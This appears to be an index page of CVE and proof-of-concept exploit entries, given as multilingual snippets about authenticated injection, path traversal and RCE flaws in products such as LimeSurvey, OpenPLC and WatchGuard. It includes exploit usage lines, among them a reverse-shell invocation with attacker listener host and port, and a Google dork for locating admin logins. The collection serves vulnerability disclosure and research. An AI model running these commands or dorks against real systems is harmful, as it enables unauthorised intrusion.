CVE-2021-3317

情報 エクスプロイトタイトル: Klog Server 2.4.1 - Command Injection 認証済み 日付: 26.01.2021 エクスプロイト作者: Metin Yunus Kandemir ベンダーホームページ: https://www.klogserver.com/ バージョン: 2.4.1 説明: https://docs.unsafe-inline.com/0day/klog-server-authenticated-command-injection CVE: 2021-3317 使い方 python3 PoC.py --target 10.10.56.51...

CVE-2024-34471

CVE-2024-34471 説明: 認証済みユーザーは、mliRealtimeEmails.php ファイルにおけるパストラバーサル（Path Traversal）の脆弱性を悪用できます（書き込み権限がある場合はファイル削除につながります）。HTML エクスポート機能の filename パラメータはファイルの場所を適切に検証しないため、攻撃者はサーバー上の任意のファイルを読み取り、削除することができます。これは、mliRealtimeEmails.php ファイル自体が読み取られ、その後削除され、そのファイルに対して 404...

CVE-2026-87969 WatchGuard AP Authenticated Command Injection in Diagnostic CLI

An OS command injection vulnerability in the WatchGuard AP diagnostic CLI allows an authenticated administrator to execute arbitrary operating system commands by supplying crafted input...

CVE-2026-87969 WatchGuard AP Authenticated Command Injection in Diagnostic CLI

An OS command injection vulnerability in the WatchGuard AP diagnostic CLI allows an authenticated administrator to execute arbitrary operating system commands by supplying crafted input...

EUVD-2026-88363

An OS command injection vulnerability in the WatchGuard AP diagnostic CLI allows an authenticated administrator to execute arbitrary operating system commands by supplying crafted input...

CVE-2026-87969

A WatchGuard AP OS command injection vulnerability exists within the diagnostic CLI . An authenticated administrator can execute arbitrary operating system commands by providing crafted input. While the technical root cause is not detailed beyond the input handling flaw, the impact allows for ful...

GO-2026-6517 kcp front-proxy does not strip inbound X-Remote-* identity headers, allowing any authenticated client to inject groups/warrants and impersonate system:masters in any workspace in github.com/kcp-dev/kcp

kcp front-proxy does not strip inbound X-Remote- identity headers, allowing any authenticated client to inject groups/warrants and impersonate system:masters in any workspace in github.com/kcp-dev/kcp...

CVE-2023-5412

CVE-2023-5412 Image horizontal reel scroll slideshow = 13.2 - 認証済み（購読者+）ショートコード経由のSQLインジェクション 説明: WordPress用プラグイン「Image horizontal reel scroll...

CVE-2021-21551

CVE-2021-21551 Dell Driver EoP CVE-2021-21551 説明 Dell の dbutil23.sys ドライバーには不十分なアクセス制御の脆弱性が含まれており、権限昇格、サービス拒否、または情報漏えいを引き起こす可能性があります。ローカルの認証済みユーザーによるアクセスが必要です。 このエクスプロイトは Windows 10 v1511 でテストされています。 アドバイザリへのリンク...

TP-Link-ArcherC5-RCE

TP-Link Archer C5 認証済みRCE：悪意ある設定ファイルのアップロードによる CVE-2018-19537 説明 TP-Link Archer C5 ルーターの公開されている全ファームウェアバージョンに、認証済みリモートコード実行 RCE の脆弱性が存在します。悪意を持って細工された設定ファイルをアップロードすることにより、攻撃者は root 権限で実行される OS コマンドを注入できます。 Archer C5 ルーターは、管理者ユーザーが現在の設定パラメータをファイルに保存したり、ファイルからパラメータを復元したりすることを許可します。 これらのパラメータは、ユーザーが...

CVE-2026-101861

Langflow versions 1.0.16 before 1.12.0 and 0.0.94 before 1.12.0 are vulnerable to code execution due to an unsafe eval() sink in schema.py. Authenticated attackers can achieve execution by placing a Python object with a malicious __repr__ method into component input options lists. The vulnerabili...

CVE-2026-101861 Langflow Code Execution via eval() in Component Input Schema

Langflow 1.0.16 before 1.12.0 and 0.0.94 before 1.12.0 contain an unsafe eval vulnerability in schema.py that allows authenticated attackers to achieve code execution by placing a Python object with a malicious repr method into component input options lists. The eval sink is triggered when a...

CVE-2024-46987

CVE-2024-46987 - Camaleon CMS 认证任意文件读取 本仓库包含针对 CVE-2024-46987 的概念验证（PoC）脚本，该漏洞允许在 Camaleon CMS 上进行任意文件读取（LFI / 路径遍历）。 描述 在 Camaleon CMS 版本 2.8.0 到 -l -p 参数 -u, --url: 目标网站的基础 URL（例如 http://example.com）。 -l, --user: 认证用户名。 -p, --password: 认证密码。 --path:...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager モジュールアップロード RCE モジュール更新エンドポイントでの未検証ZIPアップロードによる認証済みRCE。 影響を受けるバージョン: OpenSTAManager = 2.10.x 必要条件 pip install requests 使用方法 Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444 Interactive...

CVE-2021-44967

CVE-2021-44967 Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

CVE-2026-24849

CVE-2026-24849 OpenEMR 認証済み任意ファイル読み取り EtherFax disposeDoc テスト対象: OpenEMR Version = 7.0.2 CVE-2026-24849 の概念実証エクスプロイトです。これは OpenEMR の Fax/SMS EtherFax モジュールにおける認証済みパストラバーサル/任意ファイル読み取り脆弱性です。認証されたユーザーは、権限レベルに関係なく、Webサーバーユーザーとしてサーバーファイルシステム上の任意のファイル（データベース資格情報、患者文書/PHI、/etc/passwd など）を読み取ることができます。 |...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 認証済みRCE（CVE-2021-31630） これは、OpenPLC v3 の脆弱性 CVE-2021-31630 向けの、モダンな Python 3.13+ 互換の概念実証（PoC）エクスプロイトです。この脆弱性により、認証済みユーザーが悪意のあるコードを含むカスタムハードウェアレイヤーをアップロードし、ホスト上でリモートコード実行（RCE）を引き起こすことが可能になります。 元の脆弱性の発見とアドバイザリは Fellipe Oliveira によるものです。 この再実装および近代化版では、httpx、CLIツール、ロギング、より安全な検出技術を使用しています。...

CVE-2023-40355

🚨 CVE-2023-40355 チェッカー CVE-2023-40355 チェッカー へようこそ！このPythonスクリプトは、WebアプリケーションにおけるCVE-2023-40355の脆弱性をテストするために設計されています。 📋 説明 Axigen バージョン 10.3.3.0 10.3.3.59未満、10.4.0 10.4.19未満、10.5.0 10.5.5未満 におけるクロスサイトスクリプティング XSS の脆弱性により、認証された攻撃者が Standard バージョンと Ajax バージョンを切り替えるロジックを介して任意のコードを実行し、機密情報を取得する可能性がありま...

CVE-2021-45010

CVE-2021-45010 🐍 作為的なPython PoCエクスプロイト for CVE-2021-45010. Tiny File Manager 2.4.7 使用方法 usage: main.py -h -u URL -l USERNAME -p PASSWORD -g GUIPATH -r FSRELPATH options: -h, --help show this help message and exit -u URL, --url URL Base URL -l USERNAME, --username USERNAME Username -p PASSWORD,...

CVE-2024-49699

CVE-2024-49699 ARPrice...